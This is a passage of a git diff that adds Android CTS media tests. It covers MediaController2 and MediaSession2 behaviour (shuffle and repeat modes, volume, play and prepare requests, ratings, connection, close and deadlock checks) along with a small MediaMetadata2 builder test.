+ public void onShuffleModeChanged(MediaController2 controller, int shuffleMode) {
+ assertEquals(testShuffleMode, shuffleMode);
+ latch.countDown();
+ }
+ };
+ mSession.updatePlayer(mPlayer, agent, null);
+ MediaController2 controller = createController(mSession.getToken(), true, callback);
+ agent.notifyShuffleModeChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertEquals(testShuffleMode, controller.getShuffleMode());
+ }
+
+ @Test
+ public void testSetShuffleMode() throws InterruptedException {
+ final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+ mController.setShuffleMode(testShuffleMode);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mSetShuffleModeCalled);
+ assertEquals(testShuffleMode, mMockAgent.mShuffleMode);
+ }
+
+ /**
+ * This also tests {@link ControllerCallback#onRepeatModeChanged(MediaController2, int)}.
+ */
+ @Test
+ public void testGetRepeatMode() throws InterruptedException {
+ final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public int getRepeatMode() {
+ return testRepeatMode;
+ }
+ };
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ControllerCallback callback = new ControllerCallback() {
+ @Override
+ public void onRepeatModeChanged(MediaController2 controller, int repeatMode) {
+ assertEquals(testRepeatMode, repeatMode);
+ latch.countDown();
+ }
+ };
+ mSession.updatePlayer(mPlayer, agent, null);
+ MediaController2 controller = createController(mSession.getToken(), true, callback);
+ agent.notifyRepeatModeChanged();
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertEquals(testRepeatMode, controller.getRepeatMode());
+ }
+
+ @Test
+ public void testSetRepeatMode() throws InterruptedException {
+ final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+ mController.setRepeatMode(testRepeatMode);
+ assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ assertTrue(mMockAgent.mSetRepeatModeCalled);
+ assertEquals(testRepeatMode, mMockAgent.mRepeatMode);
+ }
+
+ @Test
+ public void testSetVolumeTo() throws Exception {
+ final int maxVolume = 100;
+ final int currentVolume = 23;
+ final int volumeControlType = VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+ TestVolumeProvider volumeProvider =
+ new TestVolumeProvider(volumeControlType, maxVolume, currentVolume);
+
+ mSession.updatePlayer(new MockPlayer(0), null, volumeProvider);
+ final MediaController2 controller = createController(mSession.getToken(), true, null);
+
+ final int targetVolume = 50;
+ controller.setVolumeTo(targetVolume, 0 /* flags */);
+ assertTrue(volumeProvider.mLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertTrue(volumeProvider.mSetVolumeToCalled);
+ assertEquals(targetVolume, volumeProvider.mVolume);
+ }
+
+ @Test
+ public void testAdjustVolume() throws Exception {
+ final int maxVolume = 100;
+ final int currentVolume = 23;
+ final int volumeControlType = VolumeProvider2.VOLUME_CONTROL_ABSOLUTE;
+ TestVolumeProvider volumeProvider =
+ new TestVolumeProvider(volumeControlType, maxVolume, currentVolume);
+
+ mSession.updatePlayer(new MockPlayer(0), null, volumeProvider);
+ final MediaController2 controller = createController(mSession.getToken(), true, null);
+
+ final int direction = AudioManager.ADJUST_RAISE;
+ controller.adjustVolume(direction, 0 /* flags */);
+ assertTrue(volumeProvider.mLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertTrue(volumeProvider.mAdjustVolumeCalled);
+ assertEquals(direction, volumeProvider.mDirection);
+ }
+
+ @Test
+ public void testGetPackageName() {
+ assertEquals(mContext.getPackageName(), mController.getSessionToken().getPackageName());
+ }
+
+ @Test
+ public void testSendCustomCommand() throws InterruptedException {
+ // TODO(jaewan): Need to revisit with the permission.
+ final SessionCommand2 testCommand =
+ new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PREPARE);
+ final Bundle testArgs = new Bundle();
+ testArgs.putString("args", "testSendCustomAction");
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onCustomCommand(MediaSession2 session, ControllerInfo controller,
+ SessionCommand2 customCommand, Bundle args, ResultReceiver cb) {
+ super.onCustomCommand(session, controller, customCommand, args, cb);
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(testCommand, customCommand);
+ assertTrue(TestUtils.equals(testArgs, args));
+ assertNull(cb);
+ latch.countDown();
+ }
+ };
+ mSession.close();
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback).setId(TAG).build();
+ final MediaController2 controller = createController(mSession.getToken());
+ controller.sendCustomCommand(testCommand, testArgs, null);
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ }
+
+ @Test
+ public void testControllerCallback_onConnected() throws InterruptedException {
+ // createController() uses controller callback to wait until the controller becomes
+ // available.
+ MediaController2 controller = createController(mSession.getToken());
+ assertNotNull(controller);
+ }
+
+ @Test
+ public void testControllerCallback_sessionRejects() throws InterruptedException {
+ final MediaSession2.SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controller) {
+ return null;
+ }
+ };
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, sessionCallback).build();
+ });
+ MediaController2 controller =
+ createController(mSession.getToken(), false, null);
+ assertNotNull(controller);
+ waitForConnect(controller, false);
+ waitForDisconnect(controller, true);
+ }
+
+ @Test
+ public void testControllerCallback_releaseSession() throws InterruptedException {
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ });
+ waitForDisconnect(mController, true);
+ }
+
+ @Test
+ public void testControllerCallback_release() throws InterruptedException {
+ mController.close();
+ waitForDisconnect(mController, true);
+ }
+
+ @Test
+ public void testPlayFromSearch() throws InterruptedException {
+ final String request = "random query";
+ final Bundle bundle = new Bundle();
+ bundle.putString("key", "value");
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onPlayFromSearch(MediaSession2 session, ControllerInfo controller,
+ String query, Bundle extras) {
+ super.onPlayFromSearch(session, controller, query, extras);
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(request, query);
+ assertTrue(TestUtils.equals(bundle, extras));
+ latch.countDown();
+ }
+ };
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testPlayFromSearch").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.playFromSearch(request, bundle);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testPlayFromUri() throws InterruptedException {
+ final Uri request = Uri.parse("foo://boo");
+ final Bundle bundle = new Bundle();
+ bundle.putString("key", "value");
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onPlayFromUri(MediaSession2 session, ControllerInfo controller, Uri uri,
+ Bundle extras) {
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(request, uri);
+ assertTrue(TestUtils.equals(bundle, extras));
+ latch.countDown();
+ }
+ };
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testPlayFromUri").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.playFromUri(request, bundle);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testPlayFromMediaId() throws InterruptedException {
+ final String request = "media_id";
+ final Bundle bundle = new Bundle();
+ bundle.putString("key", "value");
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onPlayFromMediaId(MediaSession2 session, ControllerInfo controller,
+ String mediaId, Bundle extras) {
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(request, mediaId);
+ assertTrue(TestUtils.equals(bundle, extras));
+ latch.countDown();
+ }
+ };
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testPlayFromMediaId").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.playFromMediaId(request, bundle);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testPrepareFromSearch() throws InterruptedException {
+ final String request = "random query";
+ final Bundle bundle = new Bundle();
+ bundle.putString("key", "value");
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onPrepareFromSearch(MediaSession2 session, ControllerInfo controller,
+ String query, Bundle extras) {
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(request, query);
+ assertTrue(TestUtils.equals(bundle, extras));
+ latch.countDown();
+ }
+ };
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testPrepareFromSearch").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.prepareFromSearch(request, bundle);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testPrepareFromUri() throws InterruptedException {
+ final Uri request = Uri.parse("foo://boo");
+ final Bundle bundle = new Bundle();
+ bundle.putString("key", "value");
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onPrepareFromUri(MediaSession2 session, ControllerInfo controller, Uri uri,
+ Bundle extras) {
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(request, uri);
+ assertTrue(TestUtils.equals(bundle, extras));
+ latch.countDown();
+ }
+ };
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testPrepareFromUri").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.prepareFromUri(request, bundle);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testPrepareFromMediaId() throws InterruptedException {
+ final String request = "media_id";
+ final Bundle bundle = new Bundle();
+ bundle.putString("key", "value");
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onPrepareFromMediaId(MediaSession2 session, ControllerInfo controller,
+ String mediaId, Bundle extras) {
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(request, mediaId);
+ assertTrue(TestUtils.equals(bundle, extras));
+ latch.countDown();
+ }
+ };
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testPrepareFromMediaId").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.prepareFromMediaId(request, bundle);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testSetRating() throws InterruptedException {
+ final int ratingType = Rating2.RATING_5_STARS;
+ final float ratingValue = 3.5f;
+ final Rating2 rating = Rating2.newStarRating(ratingType, ratingValue);
+ final String mediaId = "media_id";
+
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback callback = new SessionCallback() {
+ @Override
+ public void onSetRating(MediaSession2 session, ControllerInfo controller,
+ String mediaIdOut, Rating2 ratingOut) {
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertEquals(mediaId, mediaIdOut);
+ assertEquals(rating, ratingOut);
+ latch.countDown();
+ }
+ };
+
+ try (MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, callback)
+ .setId("testSetRating").build()) {
+ MediaController2 controller = createController(session.getToken());
+ controller.setRating(mediaId, rating);
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ }
+ }
+
+ @Test
+ public void testIsConnected() throws InterruptedException {
+ assertTrue(mController.isConnected());
+ sHandler.postAndSync(()->{
+ mSession.close();
+ });
+ // postAndSync() to wait until the disconnection is propagated.
+ sHandler.postAndSync(()->{
+ assertFalse(mController.isConnected());
+ });
+ }
+
+ /**
+ * Test potential deadlock for calls between controller and session.
+ */
+ @Test
+ public void testDeadlock() throws InterruptedException {
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ mSession = null;
+ });
+
+ // Two more threads are needed not to block test thread nor test wide thread (sHandler).
+ final HandlerThread sessionThread = new HandlerThread("testDeadlock_session");
+ final HandlerThread testThread = new HandlerThread("testDeadlock_test");
+ sessionThread.start();
+ testThread.start();
+ final SyncHandler sessionHandler = new SyncHandler(sessionThread.getLooper());
+ final Handler testHandler = new Handler(testThread.getLooper());
+ final CountDownLatch latch = new CountDownLatch(1);
+ try {
+ final MockPlayer player = new MockPlayer(0);
+ sessionHandler.postAndSync(() -> {
+ mSession = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+ .setId("testDeadlock").build();
+ });
+ final MediaController2 controller = createController(mSession.getToken());
+ testHandler.post(() -> {
+ final int state = MediaPlayerBase.PLAYER_STATE_ERROR;
+ for (int i = 0; i < 100; i++) {
+ // triggers call from session to controller.
+ player.notifyPlaybackState(state);
+ // triggers call from controller to session.
+ controller.play();
+
+ // Repeat above
+ player.notifyPlaybackState(state);
+ controller.pause();
+ player.notifyPlaybackState(state);
+ controller.stop();
+ player.notifyPlaybackState(state);
+ controller.skipToNextItem();
+ player.notifyPlaybackState(state);
+ controller.skipToPreviousItem();
+ }
+ // This may hang if deadlock happens.
+ latch.countDown();
+ });
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ } finally {
+ if (mSession != null) {
+ sessionHandler.postAndSync(() -> {
+ // Clean up here because sessionHandler will be removed afterwards.
+ mSession.close();
+ mSession = null;
+ });
+ }
+ if (sessionThread != null) {
+ sessionThread.quitSafely();
+ }
+ if (testThread != null) {
+ testThread.quitSafely();
+ }
+ }
+ }
+
+ @Test
+ public void testGetServiceToken() {
+ SessionToken2 token = TestUtils.getServiceToken(mContext, MockMediaSessionService2.ID);
+ assertNotNull(token);
+ assertEquals(mContext.getPackageName(), token.getPackageName());
+ assertEquals(MockMediaSessionService2.ID, token.getId());
+ assertEquals(SessionToken2.TYPE_SESSION_SERVICE, token.getType());
+ }
+
+ @Test
+ public void testConnectToService_sessionService() throws InterruptedException {
+ testConnectToService(MockMediaSessionService2.ID);
+ }
+
+ @Ignore
+ @Test
+ public void testConnectToService_libraryService() throws InterruptedException {
+ testConnectToService(MockMediaLibraryService2.ID);
+ }
+
+ public void testConnectToService(String id) throws InterruptedException {
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SessionCallback sessionCallback = new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(@NonNull MediaSession2 session,
+ @NonNull ControllerInfo controller) {
+ if (Process.myUid() == controller.getUid()) {
+ if (mSession != null) {
+ mSession.close();
+ }
+ mSession = session;
+ mPlayer = (MockPlayer) session.getPlayer();
+ assertEquals(mContext.getPackageName(), controller.getPackageName());
+ assertFalse(controller.isTrusted());
+ latch.countDown();
+ }
+ return super.onConnect(session, controller);
+ }
+ };
+ TestServiceRegistry.getInstance().setSessionCallback(sessionCallback);
+
+ mController = createController(TestUtils.getServiceToken(mContext, id));
+ assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+ // Test command from controller to session service
+ mController.play();
+ assertTrue(mPlayer.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ assertTrue(mPlayer.mPlayCalled);
+
+ // Test command from session service to controller
+ // TODO(jaewan): Add equivalent tests again
+ /*
+ final CountDownLatch latch = new CountDownLatch(1);
+ mController.registerPlayerEventCallback((state) -> {
+ assertNotNull(state);
+ assertEquals(PlaybackState.STATE_REWINDING, state.getState());
+ latch.countDown();
+ }, sHandler);
+ mPlayer.notifyPlaybackState(
+ TestUtils.createPlaybackState(PlaybackState.STATE_REWINDING));
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ */
+ }
+
+ @Test
+ public void testControllerAfterSessionIsGone_session() throws InterruptedException {
+ testControllerAfterSessionIsGone(mSession.getToken().getId());
+ }
+
+ // TODO(jaewan): Re-enable this test
+ @Ignore
+ @Test
+ public void testControllerAfterSessionIsGone_sessionService() throws InterruptedException {
+ /*
+ connectToService(TestUtils.getServiceToken(mContext, MockMediaSessionService2.ID));
+ testControllerAfterSessionIsGone(MockMediaSessionService2.ID);
+ */
+ }
+
+ @Test
+ public void testClose_beforeConnected() throws InterruptedException {
+ MediaController2 controller =
+ createController(mSession.getToken(), false, null);
+ controller.close();
+ }
+
+ @Test
+ public void testClose_twice() {
+ mController.close();
+ mController.close();
+ }
+
+ @Test
+ public void testClose_session() throws InterruptedException {
+ final String id = mSession.getToken().getId();
+ mController.close();
+ // close is done immediately for session.
+ testNoInteraction();
+
+ // Test whether the controller is notified about later close of the session or
+ // re-creation.
+ testControllerAfterSessionIsGone(id);
+ }
+
+ @Test
+ public void testClose_sessionService() throws InterruptedException {
+ testCloseFromService(MockMediaSessionService2.ID);
+ }
+
+ @Test
+ public void testClose_libraryService() throws InterruptedException {
+ testCloseFromService(MockMediaLibraryService2.ID);
+ }
+
+ private void testCloseFromService(String id) throws InterruptedException {
+ final CountDownLatch latch = new CountDownLatch(1);
+ TestServiceRegistry.getInstance().setSessionServiceCallback(new SessionServiceCallback() {
+ @Override
+ public void onDestroyed() {
+ latch.countDown();
+ }
+ });
+ mController = createController(TestUtils.getServiceToken(mContext, id));
+ mController.close();
+ // Wait until close triggers onDestroy() of the session service.
+ assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertNull(TestServiceRegistry.getInstance().getServiceInstance());
+ testNoInteraction();
+
+ // Test whether the controller is notified about later close of the session or
+ // re-creation.
+ testControllerAfterSessionIsGone(id);
+ }
+
+ private void testControllerAfterSessionIsGone(final String id) throws InterruptedException {
+ sHandler.postAndSync(() -> {
+ // TODO(jaewan): Use Session.close later when we add the API.
+ mSession.close();
+ });
+ waitForDisconnect(mController, true);
+ testNoInteraction();
+
+ // Ensure that the controller cannot use newly create session with the same ID.
+ sHandler.postAndSync(() -> {
+ // Recreated session has different session stub, so previously created controller
+ // shouldn't be available.
+ mSession = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+ .setId(id).build();
+ });
+ testNoInteraction();
+ }
+
+ private void testNoInteraction() throws InterruptedException {
+ // TODO: Uncomment
+ /*
+ final CountDownLatch latch = new CountDownLatch(1);
+ final PlayerEventCallback callback = new PlayerEventCallback() {
+ @Override
+ public void onPlaybackStateChanged(PlaybackState2 state) {
+ fail("Controller shouldn't be notified about change in session after the close.");
+ latch.countDown();
+ }
+ };
+ */
+
+ // TODO(jaewan): Add equivalent tests again
+ /*
+ mController.registerPlayerEventCallback(playbackListener, sHandler);
+ mPlayer.notifyPlaybackState(TestUtils.createPlaybackState(PlaybackState.STATE_BUFFERING));
+ assertFalse(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+ mController.unregisterPlayerEventCallback(playbackListener);
+ */
+ }
+
+ // TODO(jaewan): Add test for service connect rejection, when we differentiate session
+ // active/inactive and connection accept/refuse
+
+ class TestVolumeProvider extends VolumeProvider2 {
+ final CountDownLatch mLatch = new CountDownLatch(1);
+ boolean mSetVolumeToCalled;
+ boolean mAdjustVolumeCalled;
+ int mVolume;
+ int mDirection;
+
+ public TestVolumeProvider(int controlType, int maxVolume, int currentVolume) {
+ super(controlType, maxVolume, currentVolume);
+ }
+
+ @Override
+ public void onSetVolumeTo(int volume) {
+ mSetVolumeToCalled = true;
+ mVolume = volume;
+ mLatch.countDown();
+ }
+
+ @Override
+ public void onAdjustVolume(int direction) {
+ mAdjustVolumeCalled = true;
+ mDirection = direction;
+ mLatch.countDown();
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java b/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java
new file mode 100644
index 0000000..7c9f5b5
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaMetadata2Test.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertTrue;
+
+import android.media.MediaMetadata2;
+import android.media.MediaMetadata2.Builder;
+import android.media.Rating2;
+import android.os.Bundle;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+public class MediaMetadata2Test {
+ @Test
+ public void testBuilder() {
+ final Bundle extras = new Bundle();
+ extras.putString("MediaMetadata2Test", "testBuilder");
+ final String title = "title";
+ final long discNumber = 10;
+ final Rating2 rating = Rating2.newThumbRating(true);
+
+ Builder builder = new Builder();
+ builder.setExtras(extras);
+ builder.putString(MediaMetadata2.METADATA_KEY_DISPLAY_TITLE, title);
+ builder.putLong(MediaMetadata2.METADATA_KEY_DISC_NUMBER, discNumber);
+ builder.putRating(MediaMetadata2.METADATA_KEY_USER_RATING, rating);
+
+ MediaMetadata2 metadata = builder.build();
+ assertTrue(TestUtils.equals(extras, metadata.getExtras()));
+ assertEquals(title, metadata.getString(MediaMetadata2.METADATA_KEY_DISPLAY_TITLE));
+ assertEquals(discNumber, metadata.getLong(MediaMetadata2.METADATA_KEY_DISC_NUMBER));
+ assertEquals(rating, metadata.getRating(MediaMetadata2.METADATA_KEY_USER_RATING));
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2Test.java b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
new file mode 100644
index 0000000..99dc720
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSession2Test.java
@@ -0,0 +1,877 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.media.AudioAttributes.CONTENT_TYPE_MUSIC;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaController2.PlaybackInfo;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaPlayerBase;
+import android.media.MediaPlaylistAgent;
+import android.media.MediaSession2;
+import android.media.MediaSession2.Builder;
+import android.media.MediaSession2.CommandButton;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaSession2.SessionCallback;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.VolumeProvider2;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.ResultReceiver;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.annotation.NonNull;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import junit.framework.Assert;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests {@link MediaSession2}.
+ */
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSession2Test extends MediaSession2TestBase {
+ private static final String TAG = "MediaSession2Test";
+
+ private MediaSession2 mSession;
+ private MockPlayer mPlayer;
+ private MockPlaylistAgent mMockAgent;
+
+ @Before
+ @Override
+ public void setUp() throws Exception {
+ super.setUp();
+ mPlayer = new MockPlayer(0);
+ mMockAgent = new MockPlaylistAgent();
+ mSession = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(mMockAgent)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public SessionCommandGroup2 onConnect(MediaSession2 session,
+ ControllerInfo controller) {
+ if (Process.myUid() == controller.getUid()) {
+ return super.onConnect(session, controller);
+ }
+ return null;
+ }
+ }).build();
+ }
+
+ @After
+ @Override
+ public void cleanUp() throws Exception {
+ super.cleanUp();
+ mSession.close();
+ }
+
+ @Ignore
+ @Test
+ public void testBuilder() {
+ try {
+ MediaSession2.Builder builder = new Builder(mContext);
+ fail("null player shouldn't be allowed");
+ } catch (IllegalArgumentException e) {
+ // expected. pass-through
+ }
+ MediaSession2.Builder builder = new Builder(mContext).setPlayer(mPlayer);
+ try {
+ builder.setId(null);
+ fail("null id shouldn't be allowed");
+ } catch (IllegalArgumentException e) {
+ // expected. pass-through
+ }
+ }
+
+ @Test
+ public void testPlayerStateChange() throws Exception {
+ final int targetState = MediaPlayerBase.PLAYER_STATE_PLAYING;
+ final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+ sHandler.postAndSync(() -> {
+ mSession.close();
+ mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public void onPlayerStateChanged(MediaSession2 session,
+ MediaPlayerBase player, int state) {
+ assertEquals(targetState, state);
+ latchForSessionCallback.countDown();
+ }
+ }).build();
+ });
+
+ final CountDownLatch latchForControllerCallback = new CountDownLatch(1);
+ final MediaController2 controller =
+ createController(mSession.getToken(), true, new ControllerCallback() {
+ @Override
+ public void onPlayerStateChanged(MediaController2 controllerOut, int state) {
+ assertEquals(targetState, state);
+ latchForControllerCallback.countDown();
+ }
+ });
+
+ mPlayer.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_PLAYING);
+ assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertTrue(latchForControllerCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ assertEquals(targetState, controller.getPlayerState());
+ }
+
+ @Test
+ public void testCurrentDataSourceChanged() throws Exception {
+ final int listSize = 5;
+ final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return list;
+ }
+ };
+
+ MediaItem2 currentItem = list.get(3);
+
+ final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(agent)
+ .setId("testCurrentDataSourceChanged")
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public void onCurrentMediaItemChanged(MediaSession2 session,
+ MediaPlayerBase player, MediaItem2 itemOut) {
+ assertSame(currentItem, itemOut);
+ latchForSessionCallback.countDown();
+ }
+ }).build()) {
+
+ mPlayer.notifyCurrentDataSourceChanged(currentItem.getDataSourceDesc());
+ assertTrue(latchForSessionCallback.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+ // TODO (jaewan): Test that controllers are also notified. (b/74505936)
+ }
+ }
+
+ @Test
+ public void testMediaPrepared() throws Exception {
+ final int listSize = 5;
+ final List<MediaItem2> list = TestUtils.createPlaylist(listSize);
+ final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+ @Override
+ public List<MediaItem2> getPlaylist() {
+ return list;
+ }
+ };
+
+ MediaItem2 currentItem = list.get(3);
+
+ final CountDownLatch latchForSessionCallback = new CountDownLatch(1);
+ try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+ .setPlayer(mPlayer)
+ .setPlaylistAgent(agent)
+ .setId("testMediaPrepared")
+ .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+ @Override
+ public void onMediaPrepared(MediaSession2 session, MediaPlayerBase player,
+ MediaItem2 itemOut) {
